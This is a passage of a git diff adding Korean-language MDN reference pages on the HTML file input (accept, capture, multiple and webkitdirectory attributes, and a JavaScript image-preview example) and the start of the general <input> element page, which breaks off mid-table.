+<p><a href="/ko/docs/Web/HTML/Attributes/accept"><code>accept</code></a> 특성은 파일 입력 칸이 허용할 파일 유형을 나타내는 문자열로, 쉼표로 구분한 <strong>{{anch("고유 파일 유형 지정자")}}</strong>의 목록입니다. 주어진 파일 유형의 식별 방법이 여러 가지일 수도 있으므로, 특정 파일 형식이 필요할 땐 유형의 집합을 제공하는 것이 좋습니다.</p>
+
+<p>예를 들어, Microsoft Word 파일을 식별하는 방법은 여러가지이므로, Word 파일을 허용하는 <code>&lt;input&gt;</code>은 다음과 같은 형태를 갖게 됩니다.</p>
+
+<pre class="brush: html notranslate">&lt;input type="file" id="docpicker"
+  accept=".doc,.docx,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document"&gt;</pre>
+
+<h3 id="htmlattrdefcapture">{{htmlattrdef("capture")}}</h3>
+
+<p><a href="/ko/docs/Web/HTML/Attributes/accept"><code>accept</code></a> 특성이 이미지나 비디오 캡처 데이터를 요구할 경우, <a href="/ko/docs/Web/HTML/Attributes/capture"><code>capture</code></a> 특성으로는 어떤 카메라를 사용할지 지정할 수 있습니다. <code>user</code> 값은 전면 카메라(사용자를 향한 카메라)와 마이크를, <code>environment</code> 값은 후면 카메라와 마이크를 사용해야 함을 나타냅니다. <code>capture</code> 특성을 누락한 경우 {{Glossary("user agent", "사용자 에이전트")}}가 어떤 쪽을 선택할지 스스로 결정합니다. 요청한 방향의 카메라를 사용할 수 없는 경우 사용자 에이전트는 자신이 선호하는 기본 모드로 대체할 수 있습니다.</p>
+
+<div class="note"><strong>참고:</strong> <code>capture</code>는 과거 불리언 특성이었으며, 존재할 경우 파일 선택 창을 요청하는 대신 장치의 카메라나 마이크 등 미디어 캡처 장치를 요청했었습니다.</div>
+
+<h3 id="htmlattrdeffiles">{{htmlattrdef("files")}}</h3>
+
+<p>선택한 모든 파일을 나열하는 {{domxref("FileList")}} 객체입니다. {{htmlattrxref("multiple", "input/file")}} 특성을 지정하지 않았다면 두 개 이상의 파일을 포함하지 않습니다.</p>
+
+<h3 id="htmlattrdefmultiple">{{htmlattrdef("multiple")}}</h3>
+
+<p><a href="/ko/docs/Web/HTML/Attributes/multiple"><code>multiple</code></a> 불리언 특성을 지정한 경우 사용자가 파일 선택 창에서 복수의 파일을 선택할 수 있습니다.</p>
+
+<h2 id="비표준_특성">비표준 특성</h2>
+
+<p>위의 표준 특성 외에도, 다음과 같이 일부 브라우저에서만 사용할 수 있는 비표준 특성도 존재합니다. 지원하지 않는 브라우저에서의 코드 동작에 제약이 생길 수 있으므로, 가능하면 사용을 피해야 합니다.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">특성</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("webkitdirectory")}}</code></td>
+   <td>사용자가 디렉토리를 선택할 수 있는지 나타내는 불리언 특성. <code>{{anch("multiple")}}</code> 특성을 지정한 경우 복수 선택 가능</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdefwebkitdirectory_non-standard_inline">{{htmlattrdef("webkitdirectory")}} {{non-standard_inline}}</h3>
+
+<p><code>webkitdirectory</code> 불리언 특성이 존재할 경우 사용자의 파일 선택 창에서 디렉토리만 선택 가능해야 함을 나타냅니다. {{domxref("HTMLInputElement.webkitdirectory")}} 문서를 방문해 보다 자세한 정보와 예제를 알아보세요.</p>
+
+<div class="note">
+<p><strong>참고:</strong> <code>webkitdirectory</code>는 원래 WebKit 기반 브라우저에서만 구현했었으나, Microsoft Edge와 Firefox(50 이상)도 지원합니다. 그러나, 비록 상대적으로 널리 지원하고는 있으나, 여전히 비표준 특성이므로 대안이 없는 경우에만 사용해야 합니다.</p>
+</div>
+
+<h2 id="고유_파일_유형_지정자">고유 파일 유형 지정자</h2>
+
+<p><strong>고유 파일 유형 지정자</strong>는 <code>file</code> 유형의 {{htmlelement("input")}}에서 선택할 수 있는 파일의 종류를 설명하는 문자열입니다. 각각의 유형 지정자는 다음 형태 중 하나를 취할 수 있습니다.</p>
+
+<ul>
+ <li>마침표로 시작하는 유효한 파일 이름 확장자. 대소문자를 구분하지 않습니다. 예시: <code>.jpg</code>, <code>.pdf</code>, <code>.doc</code>.</li>
+ <li>확장자를 포함하지 않은 유효한 MIME 유형 문자열.</li>
+ <li><code>audio/*</code>는 "모든 오디오 파일"을 의미합니다.</li>
+ <li><code>video/*</code>는 "모든 비디오 파일"을 의미합니다.</li>
+ <li><code>image/*</code>는 "모든 이미지 파일"을 의미합니다.</li>
+</ul>
+
+<p><code>accept</code> 특성이 고유 파일 유형 지정자를 값으로 받습니다. 쉼표로 구분하면 여러 개의 지정자도 사용할 수 있습니다. 예를 들어, 표준 이미지 형식 뿐만 아니라 PDF 파일도 받을 수 있어야 하는 입력 칸은 다음 코드처럼 작성할 수 있습니다.</p>
+
+<pre class="brush: html notranslate">&lt;input type="file" accept="image/*,.pdf"&gt;</pre>
+
+<h2 id="파일_입력_칸_사용하기">파일 입력 칸 사용하기</h2>
+
+<h3 id="기본_예제">기본 예제</h3>
+
+<pre class="brush: html notranslate">&lt;form method="post" enctype="multipart/form-data"&gt;
+ &lt;div&gt;
+   &lt;label for="file"&gt;Choose file to upload&lt;/label&gt;
+   &lt;input type="file" id="file" name="file" multiple&gt;
+ &lt;/div&gt;
+ &lt;div&gt;
+   &lt;button&gt;Submit&lt;/button&gt;
+ &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css notranslate">div {
+  margin-bottom: 10px;
+}</pre>
+</div>
+
+<p>결과는 다음과 같습니다.</p>
+
+<p>{{EmbedLiveSample('기본_예제', 650, 60)}}</p>
+
+<div class="note">
+<p><strong>참고</strong>: 이 예제는 GitHub에서도 볼 수 있습니다. <a href="https://github.com/mdn/learning-area/blob/master/html/forms/file-examples/simple-file.html">소스 코드</a>와 <a href="https://mdn.github.io/learning-area/html/forms/file-examples/simple-file.html">라이브 예제</a>를 확인하세요.</p>
+</div>
+
+<p>사용자의 장치와 운영체제에 상관없이, 파일 입력 칸은 사용자가 파일을 선택할 수 있도록 파일 선택 대화창을 여는 하나의 버튼을 제공합니다.</p>
+
+<p>예제 코드와 같이 {{htmlattrxref("multiple", "input/file")}} 특성을 지정한 경우 파일 여러 개를 한 번에 선택할 수 있습니다. 사용자는 플랫폼이 허용하는 방법(<kbd>Shift</kbd>, <kbd>Ctrl</kbd> 누르기 등)을 통해 파일 선택 창에서 두 개 이상의 파일을 선택합니다. <code>&lt;input&gt;</code> 하나에 파일 하나씩만 선택을 허용하고 싶은 경우 <code>multiple</code> 특성을 제거하세요.</p>
+
+<h3 id="선택한_파일의_정보_가져오기">선택한 파일의 정보 가져오기</h3>
+
+<p>요소의 {{domxref("HTMLInputElement.files")}} 속성은 선택한 파일({{domxref("File")}}) 목록을 {{domxref("FileList")}} 객체로 반환합니다. <code>FileList</code>는 배열처럼 행동하므로, <code>length</code> 속성을 사용해 현재 선택한 파일의 수를 알 수 있습니다.</p>
+
+<p>각각의 <code>File</code> 객체는 다음과 같은 정보를 가지고 있습니다.</p>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>파일 이름.</dd>
+ <dt><code>lastModified</code></dt>
+ <dd>파일을 마지막으로 수정한 시각을 나타내는 숫자. UNIX 표준시(1970년 1월 1일 자정)으로부터 지난 시간을 밀리초 단위로 나타낸 값입니다.</dd>
+ <dt><code>lastModifiedDate</code> {{deprecated_inline}}</dt>
+ <dd>파일을 마지막으로 수정한 시각을 나타내는 {{jsxref("Date")}} 객체. 더 이상 사용하지 않아야 합니다. <code>lastModified</code>를 대신 사용하세요.</dd>
+ <dt><code>size</code></dt>
+ <dd>파일의 크기를 바이트 단위로 나타낸 값.</dd>
+ <dt><code>type</code></dt>
+ <dd>파일의 <a href="/ko/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME 유형</a>.</dd>
+ <dt><code>webkitRelativePath</code> {{non-standard_inline}}</dt>
+ <dd>{{htmlattrxref("webkitdirectory", "input/file")}} 특성을 사용한 경우, 기준 디렉토리에 대한 파일의 상대적인 경로. 비표준 특성이므로 사용에 주의가 필요합니다.</dd>
+</dl>
+
+<div class="hidden note">
+<p><strong>Note</strong>: You can set as well as get the value of <code>HTMLInputElement.files</code> in all modern browsers; this was most recently added to Firefox, in version 57 (see {{bug(1384030)}}).</p>
+</div>
+
+<h3 id="가능한_파일_유형_제한하기">가능한 파일 유형 제한하기</h3>
+
+<p>종종, 사용자가 아무 파일이나 선택하지 못하도록 제한하고, 받을 수 있는 파일의 유형을 정해두고 싶을 때가 있습니다. 예를 들어, 프로필 사진을 받는 입력 칸의 경우, {{glossary("JPEG")}}, {{glossary("PNG")}}처럼 웹 호환 가능한 이미지 형식을 선택하도록 해야 할 것입니다.</p>
+
+<p>허용하는 파일 유형은 {{htmlattrxref("accept","input/file")}} 특성을 사용해 지정할 수 있으며, 허용할 파일 확장자나 MIME 유형을 쉼표로 구분한 값을 제공해야 합니다. 다음은 몇 가지 예시입니다.</p>
+
+<ul>
+ <li><code>accept="image/png"</code> or <code>accept=".png"</code> — PNG 파일을 허용합니다.</li>
+ <li><code>accept="image/png, image/jpeg"</code> 또는 <code>accept=".png, .jpg, .jpeg"</code> — PNG와 JPEG를 허용합니다.</li>
+ <li><code>accept="image/*"</code> — <code>image/*</code> MIME 유형을 가진 모든 파일을 허용합니다. 많은 모바일 기기에서는, 이 값을 지정할 경우 사용자가 카메라로 사진을 찍을 수 있도록 설정합니다.</li>
+ <li><code>accept=".doc,.docx,.xml,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document"</code> — MS Word 문서처럼 보이는 파일을 모두 허용합니다.</li>
+</ul>
+
+<p>보다 완전한 예제 코드를 보겠습니다.</p>
+
+<pre class="brush: html notranslate">&lt;form method="post" enctype="multipart/form-data"&gt;
+  &lt;div&gt;
+    &lt;label for="profile_pic"&gt;Choose file to upload&lt;/label&gt;
+    &lt;input type="file" id="profile_pic" name="profile_pic"
+          accept=".jpg, .jpeg, .png"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button&gt;Submit&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css notranslate">div {
+  margin-bottom: 10px;
+}</pre>
+</div>
+
+<p>위 코드는 이전 예제와 비슷하게 보이는 결과를 냅니다.</p>
+
+<p>{{EmbedLiveSample('가능한_파일_유형_제한하기', 650, 60)}}</p>
+
+<div class="note">
+<p><strong>참고</strong>: GitHub에서도 볼 수 있습니다. <a href="https://github.com/mdn/learning-area/blob/master/html/forms/file-examples/file-with-accept.html">소스 코드</a>, <a href="https://mdn.github.io/learning-area/html/forms/file-examples/file-with-accept.html">라이브 실행 결과</a>.</p>
+</div>
+
+<p>외형은 유사해 보일지라도, 이번 예제에서 파일을 선택하려고 한다면 <code>accept</code>에 지정한 파일 유형만 선택 가능함을 확인할 수 있습니다. (정확한 동작은 브라우저와 운영체제에 따라 다를 수 있습니다)</p>
+
+<p><img alt="Screenshot of a macOS file picker dialog. Files other than JPEG are grayed-out and unselectable." src="https://mdn.mozillademos.org/files/15183/file-chooser.png" style="margin: 0 auto;"></p>
+
+<p><code>accept</code> 특성은 선택한 파일 유형을 검증하지는 않으며, 단순히 브라우저가 사용자를 올바른 파일 유형으로 유도하도록 힌트를 제공할 뿐입니다. (대부분의 경우) 사용자가 파일 선택 창의 옵션을 설정해 <code>accept</code>를 덮어쓰고 자신이 원하는 아무 파일이나 선택할 수 있으므로, 파일 입력 칸에 잘못된 유형의 파일이 올 수 있습니다.</p>
+
+<p>그러므로, 반드시 적절한 서버 사이드 유효성 검증을 통해 <code>accept</code> 특성을 보조해야 합니다.</p>
+
+<h3 id="참고">참고</h3>
+
+<ol>
+ <li>
+  <p>파일 입력 칸의 값을 스크립트에서 설정할 수는 없습니다. 따라서 다음 코드는 아무런 효과도 내지 않습니다.</p>
+
+  <pre class="brush: js notranslate">const input = document.querySelector("input[type=file]");
+input.value = "foo";
+</pre>
+ </li>
+ <li>
+  <p><code>&lt;input type="file"&gt;</code>로 선택한 원본 파일의 실제 경로는 명확한 보안상 문제로 인해 알 수 없습니다. 대신 앞에 <code>C:\fakepath\</code> 를 붙인 파일 이름을 경로로 보여줍니다. 하필 이런 모습이 된 것에는 역사적인 이유가 있지만 이 동작은 모든 최신 브라우저에서 지원하고 있으며, 사실 <a href="https://html.spec.whatwg.org/multipage/forms.html#fakepath-srsly">명세에도 포함</a>되어 있습니다.</p>
+ </li>
+</ol>
+
+<h2 id="예제">예제</h2>
+
+<p>이번 예제에서는 좀 더 발전된 파일 선책 창을 만들어 보겠습니다. <code>HTMLInputElement.files</code> 속성에서 알 수 있는 정보도 활용하면서, 몇 가지 재밌는 활용법도 보여드리겠습니다.</p>
+
+<div class="note">
+<p><strong>참고</strong>: 전체 소스 코드는 GitHub에 있습니다. <a href="https://github.com/mdn/learning-area/blob/master/html/forms/file-examples/file-example.html">file-example.html</a> (<a href="https://mdn.github.io/learning-area/html/forms/file-examples/file-example.html">라이브 실행 결과</a>). 주 목적이 JavaScript이므로 CSS는 따로 설명하지 않겠습니다.</p>
+</div>
+
+<p>우선 HTML을 살펴보겠습니다.</p>
+
+<pre class="brush: html notranslate">&lt;form method="post" enctype="multipart/form-data"&gt;
+  &lt;div&gt;
+    &lt;label for="image_uploads"&gt;Choose images to upload (PNG, JPG)&lt;/label&gt;
+    &lt;input type="file" id="image_uploads" name="image_uploads" accept=".jpg, .jpeg, .png" multiple&gt;
+  &lt;/div&gt;
+  &lt;div class="preview"&gt;
+    &lt;p&gt;No files currently selected for upload&lt;/p&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button&gt;Submit&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css notranslate">html {
+  font-family: sans-serif;
+}
+
+form {
+  width: 580px;
+  background: #ccc;
+  margin: 0 auto;
+  padding: 20px;
+  border: 1px solid black;
+}
+
+form ol {
+  padding-left: 0;
+}
+
+form li, div &gt; p {
+  background: #eee;
+  display: flex;
+  justify-content: space-between;
+  margin-bottom: 10px;
+  list-style-type: none;
+  border: 1px solid black;
+}
+
+form img {
+  height: 64px;
+  order: 1;
+}
+
+form p {
+  line-height: 32px;
+  padding-left: 10px;
+}
+
+form label, form button {
+  background-color: #7F9CCB;
+  padding: 5px 10px;
+  border-radius: 5px;
+  border: 1px ridge black;
+  font-size: 0.8rem;
+  height: auto;
+}
+
+form label:hover, form button:hover {
+  background-color: #2D5BA3;
+  color: white;
+}
+
+form label:active, form button:active {
+  background-color: #0D3F8F;
+  color: white;
+}</pre>
+</div>
+
+<p>지금까지 봤던 것과 거의 같으므로 설명할 부분은 없겠습니다.</p>
+
+<p>이제 JavaScript 차례입니다.</p>
+
+<p>우선 양식의 파일 입력 칸과, <code>.preview</code> 클래스를 가진 {{htmlelement("div")}} 요소에 대한 참조를 가져옵니다. 그 후, {{htmlelement("input")}} 요소를 숨겨버립니다. 파일 입력 칸은 보통 못생겼고, 스타일을 적용하기도 어려우며 브라우저마다 디자인이 다르기 때문입니다. <code>&lt;input&gt;</code>은 연결된 {{htmlelement("label")}}을 클릭해도 활성화할 수 있으므로, 시각적으로 <code>&lt;input&gt;</code>을 숨긴 후 레이블에 버튼처럼 스타일을 적용해서, 파일을 업로드하고 싶은 경우 레이블을 누르라는 것을 알려주는 편이 낫습니다.</p>
+
+<pre class="brush: js notranslate">var input = document.querySelector('input');
+var preview = document.querySelector('.preview');
+
+input.style.opacity = 0;</pre>
+
+<div class="note">
+<p><strong>참고:</strong> {{cssxref("visibility", "visibility: hidden")}}, {{cssxref("display", "display: none")}}로 숨길 경우 접근성 보조 기술이 파일 입력 칸을 상호작용 할 수 없는 상태라고 인식하기 때문에 {{cssxref("opacity")}}를 대신 사용합니다.</p>
+</div>
+
+<p>그 다음으로는 입력 칸에 <a href="/ko/docs/Web/API/EventTarget/addEventListener">이벤트 수신기</a>를 부착해 그 값이 달라지는지(예제의 경우, 파일을 선택할 때) 지켜봅니다. 이벤트 수신기는 밑에서 만들 <code>updateImageDisplay()</code> 함수를 호출하게 됩니다.</p>
+
+<pre class="brush: js notranslate">input.addEventListener('change', updateImageDisplay);</pre>
+
+<p><code>updateImageDisplay()</code> 함수를 호출하면 다음 작업을 수행하게 됩니다.</p>
+
+<ul>
+ <li>{{jsxref("Statements/while", "while")}} 반복문을 사용해 <code>&lt;div&gt;</code>에 존재하는 이전 파일의 미리보기를 제거합니다.</li>
+ <li>선택한 모든 파일의 정보를 들고 있는 {{domxref("FileList")}} 객체를 가져온 후 <code>curFiles</code> 변수에 저장합니다.</li>
+ <li><code>curFiles.length</code>가 0과 같은지 검사해 아무런 파일도 선택하지 않았는지 검사합니다. 그렇다면, <code>&lt;div&gt;</code>에 아무런 파일도 선택하지 않았다는 메시지를 출력합니다.</li>
+ <li>반면, 파일을 선택한 경우라면, 각각의 파일을 순회하며 각각의 정보를 미리보기 <code>&lt;div&gt;</code>에 출력합니다. 참고할 점:</li>
+ <li>뒤에서 작성할 <code>validFileType()</code> 함수를 사용해 순회 중인 파일이 올바른 유형, 즉 <code>accept</code> 특성에 속한 파일인지 판별합니다.</li>
+ <li>올바른 파일이라면,
+  <ul>
+   <li><code>&lt;div&gt;</code> 안의 목록에 해당 파일의 이름과 크기를 항목으로 추가합니다. 이름은 <code>file.name</code>과 <code>file.size</code>로 가져옵니다. 또 다른 함수인 <code>returnFileSize()</code>는 파일 크기를 보기 좋게 바이트/KB/MB로 서식해 출력합니다. (브라우저는 바이트 크기로만 알려줍니다)</li>
+   <li>{{domxref("URL.createObjectURL", "URL.createObjectURL(curFiles[i])")}}를 호출해 이미지 미리보기 썸네일을 생성하고, 새로 만든 {{htmlelement("img")}} 태그의 {{htmlattrxref("src", "img")}}에 지정한 후, 이미지도 목록의 항목에 추가합니다.</li>
+  </ul>
+ </li>
+ <li>파일 유형이 유효하지 않은 경우 사용자에게 다른 파일을 선택해야 한다고 알려주는 메시지를 표시합니다.</li>
+</ul>
+
+<pre class="brush: js notranslate">function updateImageDisplay() {
+  while(preview.firstChild) {
+    preview.removeChild(preview.firstChild);
+  }
+
+  const curFiles = input.files;
+  if(curFiles.length === 0) {
+    const para = document.createElement('p');
+    para.textContent = 'No files currently selected for upload';
+    preview.appendChild(para);
+  } else {
+    const list = document.createElement('ol');
+    preview.appendChild(list);
+
+    for(const file of curFiles) {
+      const listItem = document.createElement('li');
+      const para = document.createElement('p');
+      if(validFileType(file)) {
+        para.textContent = `File name ${file.name}, file size ${returnFileSize(file.size)}.`;
+        const image = document.createElement('img');
+        image.src = URL.createObjectURL(file);
+
+        listItem.appendChild(image);
+        listItem.appendChild(para);
+      } else {
+        para.textContent = `File name ${file.name}: Not a valid file type. Update your selection.`;
+        listItem.appendChild(para);
+      }
+
+      list.appendChild(listItem);
+    }
+  }
+}</pre>
+
+<p><code>validFileType()</code> 함수는 매개변수로 {{domxref("File")}} 객체를 받아서, 그 파일의 <code>type</code>이 <code>fileTypes</code>의 아무 값과 동일한지 판별합니다. {{jsxref("Array.prototype.includes()")}}를 사용하여 type과 일치하는 값이 존재하면 <code>true</code>, 아니면 <code>false</code>를 반환합니다.</p>
+
+<pre class="brush: js notranslate">// https://developer.mozilla.org/en-US/docs/Web/Media/Formats/Image_types
+const fileTypes = [
+  "image/apng",
+  "image/bmp",
+  "image/gif",
+  "image/jpeg",
+  "image/pjpeg",
+  "image/png",
+  "image/svg+xml",
+  "image/tiff",
+  "image/webp",
+  "image/x-icon"
+];
+
+function validFileType(file) {
+  return fileTypes.includes(file.type);
+}</pre>
+
+<p><code>returnFileSize()</code> 함수는 숫자(현재 파일의 <code>size</code> 속성에서 가져온, 파일의 바이트 크기)를 받은 후, 읽기 좋게 바이트/KB/MB 단위로 서식을 적용합니다.</p>
+
+<pre class="brush: js notranslate">function returnFileSize(number) {
+  if(number &lt; 1024) {
+    return number + 'bytes';
+  } else if(number &gt;= 1024 &amp;&amp; number &lt; 1048576) {
+    return (number/1024).toFixed(1) + 'KB';
+  } else if(number &gt;= 1048576) {
+    return (number/1048576).toFixed(1) + 'MB';
+  }
+}</pre>
+
+<p>결과는 다음과 같습니다. 한번 직접 파일을 선택해보세요.</p>
+
+<p>{{EmbedLiveSample('예제', '100%', 200)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'input.html#file-upload-state-(type=file)', '&lt;input type="file"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'sec-forms.html#file-upload-state-typefile', '&lt;input type="file"&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML Media Capture', '#the-capture-attribute','capture attribute')}}</td>
+   <td>{{Spec2('HTML Media Capture')}}</td>
+   <td>initial <code>capture</code> attribute</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.input.input-file")}}</p>
+
+<h2 id="같이_보_기">같이 보 기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/File/Using_files_from_web_applications">웹 애플리케이션에서 파일 사용하기</a> — <code>&lt;input type="file"&gt;</code>과 File API에 대한 유용한 예제를 더 가지고 있습니다.</li>
+ <li><a href="/ko/docs/Learn/Forms/Property_compatibility_table_for_form_controls">CSS 속성 호환성</a></li>
+</ul>
diff --git a/files/ko/web/html/element/input/index.html b/files/ko/web/html/element/input/index.html
new file mode 100644
index 0000000000..8ff435e12d
--- /dev/null
+++ b/files/ko/web/html/element/input/index.html
@@ -0,0 +1,865 @@
+---
+title: '<input>: 입력 요소'
+slug: Web/HTML/Element/Input
+tags:
+  - Element
+  - Forms
+  - HTML
+  - HTML forms
+  - HTML input tag
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/input
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;input&gt;</code> 요소</strong>는 웹 기반 양식에서 사용자의 데이터를 받을 수 있는 대화형 컨트롤을 생성합니다.</span> {{glossary("user agent", "사용자 에이전트")}}에 따라서 다양한 종류의 입력 데이터 유형과 컨트롤 위젯이 존재합니다. 입력 유형과 특성의 다양한 조합 가능성으로 인해, <code>&lt;input&gt;</code> 요소는 HTML에서 제일 강력하고 복잡한 요소 중 하나입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-text.html", "tabbed-shorter")}}</div>
+
+
+
+<h2 id="&lt;input>_유형"><code>&lt;input&gt;</code> 유형</h2>
+
+<p><code>&lt;input&gt;</code> 요소의 동작 방식은 {{htmlattrxref("type")}} 특성에 따라 현격히 달라지므로, 각각의 유형은 별도의 참고 문서에서 더 자세히 확인할 수 있습니다. 특성을 지정하지 않은 경우, 기본값은 <code>text</code>입니다.</p>
+
+<p>가능한 유형은 다음과 같습니다.</p>
+
+<table class="standard-table">
+ <colgroup>
+  <col>
+  <col style="width: 50%;">
+  <col>
+ </colgroup>
+ <thead>
+  <tr>
+   <th>유형</th>
+   <th>설명</th>
+   <th>기본 예제</th>
+   <th>Spec</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{HTMLElement("input/button", "button")}}</td>
+   <td>기본 행동을 가지지 않으며 {{htmlattrxref("value", "input")}}을 레이블로 사용하는 푸시 버튼.</td>
+   <td id="examplebutton">
+    <pre class="brush: html hidden notranslate">
+&lt;input  type="button" name="button" /&gt;</pre>
+    {{EmbedLiveSample("examplebutton",200,55,"","", "nobutton")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("input/checkbox", "checkbox")}}</td>
+   <td>단일 값을 선택하거나 선택 해제할 수 있는 체크박스.</td>
+   <td id="examplecheckbox">
+    <pre class="brush: html hidden notranslate">
+&lt;input  type="checkbox" name="checkbox"/&gt;</pre>
+    {{EmbedLiveSample("examplecheckbox",200,55,"","", "nobutton")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("input/color", "color")}}</td>
+   <td>색을 지정할 수 있는 컨트롤. 브라우저가 지원하는 경우, 활성화 시 색상 선택기를 열어줍니다.</td>
+   <td id="examplecolor">
+    <pre class="brush: html hidden notranslate">
+&lt;input  type="color" name="color"/&gt;</pre>
+    {{EmbedLiveSample("examplecolor",200,55,"","", "nobutton")}}</td>
+   <td>{{HTMLVersionInline("5")}}</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("input/date", "date")}}</td>
+   <td>날짜(연월일, 시간 없음)를 지정할 수 있는 컨트롤. 브라우저가 지원하는 경우, 활성화 시 날짜를 선택할 수 있는 달력 등을 열어줍니다.</td>
+   <td id="exampledate">
+    <pre class="brush: html hidden notranslate">
+&lt;input  type="date" name="date"/&gt;</pre>
+    {{EmbedLiveSample("exampledate",200,55,"","", "nobutton")}}</td>
+   <td>{{HTMLVersionInline("5")}}</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("input/datetime-local", "datetime-local")}}</td>
+   <td>날짜와 시간을 지정할 수 있는 컨트롤. 시간대는 지정할 수 없습니다. 브라우저가 지원하는 경우, 활성화 시 날짜를 선택할 수 있는 달력과, 시계 등을 열어줍니다.</td>
+   <td id="exampledtl">
+    <pre class="brush: html hidden notranslate">
+&lt;input  type="datetime-local" name="datetime-local"/&gt;</pre>
+    {{EmbedLiveSample("exampledtl",200,55,"","", "nobutton")}}</td>
+   <td>{{HTMLVersionInline("5")}}</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("input/email", "email")}}</td>
+   <td>이메일 주소를 편집할 수 있는 필드. 텍스트 입력 필드처럼 보이지만 유효성 검증 매개변수가 존재하며, 브라우저와 장치가 동적 키보드를 지원하는 경우 이메일에 적합한 키보드를 보여줍니다.</td>
+   <td id="exampleemail">
+    <pre class="brush: html hidden notranslate">
+&lt;input type="email" name="email"/&gt;</pre>
+    {{EmbedLiveSample("exampleemail",200,55,"","", "nobutton")}}</td>
+   <td>{{HTMLVersionInline("5")}}</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("input/file", "file")}}</td>
+   <td>파일을 지정할 수 있는 컨트롤. {{htmlattrxref("accept", "input")}} 특성을 사용하면 허용하는 파일 유형을 지정할 수 있습니다.</td>
+   <td id="examplefile">
+    <pre class="brush: html hidden notranslate">
+&lt;input type="file" accept="image/*, text/*" name="file"/&gt;</pre>
+    {{EmbedLiveSample("examplefile",'100%',55,"","", "nobutton")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("input/hidden", "hidden")}}</td>
+   <td>보이지 않지만 값은 서버로 전송하는 컨트롤. 오른쪽 칸에 예제가 있지만 숨겨져서 안보이네요!</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("input/image", "image")}}</td>
+   <td><code>src</code> 특성에 지정한 이미지로 나타나는 시각적 제출 버튼. 이미지의 {{anch('src')}}를 누락한 경우 {{anch('alt')}} 특성의 텍스트를 대신 보여줍니다.</td>
+   <td id="exampleimage">
+    <pre class="brush: html hidden notranslate">
+&lt;input type="image" name="image" src="" alt="image input"/&gt;</pre>
+    {{EmbedLiveSample("exampleimage",200,55,"","", "nobutton")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("input/month", "month")}}</td>
+   <td>연과 월을 지정할 수 있는 컨트롤. 시간대는 지정할 수 없습니다.</td>
+   <td id="examplemonth">
+    <pre class="brush: html hidden notranslate">
+&lt;input type="month" name="month"/&gt;</pre>
+    {{EmbedLiveSample("examplemonth",200,55,"","", "nobutton")}}</td>
+   <td>{{HTMLVersionInline("5")}}</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("input/number", "number")}}</td>
+   <td>
+    <p>숫자를 입력하기 위한 컨트롤. 스피너를 표시하고 지원되는 기본 확인을 추가합니다. 몇몇 장치에서는 동적 키패드들과 숫자 키패드를 표시합니다.</p>
+   </td>
+   <td id="examplenumber">
+    <pre class="brush: html hidden notranslate">
+&lt;input  type="number" name="number"/&gt;</pre>
+    {{EmbedLiveSample("examplenumber",200,55,"","", "nobutton")}}</td>
+   <td>{{HTMLVersionInline("5")}}</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("input/password", "password")}}</td>
+   <td>
+    <p>값이 가려진 한줄 텍스트 필드. 사이트가 안전하지 않으면 사용자에게 경고합니다.</p>
+   </td>
+   <td id="examplepassword">
+    <pre class="brush: html hidden notranslate">
+&lt;input  type="password" name="password"/&gt;</pre>
+    {{EmbedLiveSample("examplepassword",200,55,"","", "nobutton")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("input/radio", "radio")}}</td>
+   <td>
+    <p>같은 {{anch('name')}} 값을 가진 여러개의 선택중에서 하나의 값을 선택하게 하는 라디오 버튼입니다.</p>
+   </td>
+   <td id="exampleradio">
+    <pre class="brush: html hidden notranslate">
+&lt;input type="radio" name="radio"/&gt;</pre>
+    {{EmbedLiveSample("exampleradio",200,55,"","", "nobutton")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("input/range", "range")}}</td>
+   <td>
